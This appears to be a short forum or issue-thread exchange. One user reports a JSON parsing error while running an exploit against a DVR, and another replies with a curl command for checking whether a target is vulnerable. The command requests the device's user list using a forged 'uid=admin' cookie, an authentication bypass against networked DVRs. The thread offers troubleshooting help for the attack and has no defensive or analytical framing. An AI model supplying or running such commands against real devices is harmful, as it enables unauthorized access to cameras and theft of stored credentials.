i don't know

[clttmtb]

[+] Error: Expecting ',' delimiter: line 1 column 44 (char 43)
[>] json: <Response [200]>

                             i don't know ,help pls 

[ezelf]

When you have problems validate the exploit as follows:

$> curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

If that does not give the desired output, it is assumed that the model you are with is not vulnerable.

[clttmtb]

Thank you very much for your serious answer. I will test again